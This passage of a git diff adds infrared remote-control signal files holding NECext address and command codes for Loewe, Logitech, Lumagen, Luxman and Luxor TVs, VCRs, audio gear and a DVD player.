00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 18 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: VISS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: SHOW +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: REST +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: A/T +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir new file mode 100644 index 000000000..0b87efacd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: blau- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: aus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: loud+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: loud- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: bright+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: bright- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: gruen +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: rot +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: blau +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: gelb +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: gelb+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: blau+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: bildr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: bild= +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: gelb- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: loud +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: color +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: vt +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir new file mode 100644 index 000000000..f9af79ae1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: STOPP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: LJUD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: OOOO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir new file mode 100644 index 000000000..411009fca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 02 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 03 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 04 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 05 00 00 00 +# +name: LP_/_SP +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 0A 00 00 00 +# +name: M_(MENY) +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 56 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 58 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 5D 00 00 00 +# +name: AV_KANALER +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 5F 00 00 00 +# +name: E_(EXIT) +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 66 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir new file mode 100644 index 000000000..52155b82b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir new file mode 100644 index 000000000..a7b0bb8d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 09 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 11 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 12 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 14 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 15 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 16 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 17 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 1B 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 25 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 29 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 37 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir new file mode 100644 index 000000000..622e9508e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: surround+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: center+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: surround- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: center- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: optical +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: coax +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir new file mode 100644 index 000000000..d65606e7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1.85 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: LBOX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: STBY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: MEMA +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: MEMB +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: ARROWUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: ARROWLEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: ARROWRIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: ARROWDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir new file mode 100644 index 000000000..20d0d4b72 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0A 00 00 00 +# +name: T-DISP +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0B 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0D 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0E 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0E 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 10 00 00 00 +# +name: M-CHECK +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 11 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 13 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 14 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 15 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 15 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 17 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 18 00 00 00 +# +name: A-SCAN +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 1F 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 58 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir new file mode 100644 index 000000000..5cf9d43d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 09 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 40 00 00 00 +# +name: PHONO/AUX +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 41 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 42 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 43 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 44 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 46 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 4D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 5D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir b/assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir new file mode 100644 index 000000000..4c7cd22f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 02 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 03 00 00 00 +# +name: prevchp +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 04 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 05 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 06 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 07 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 08 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0B 00 00 00 +# +name: title/return +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 10 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 12 00 00 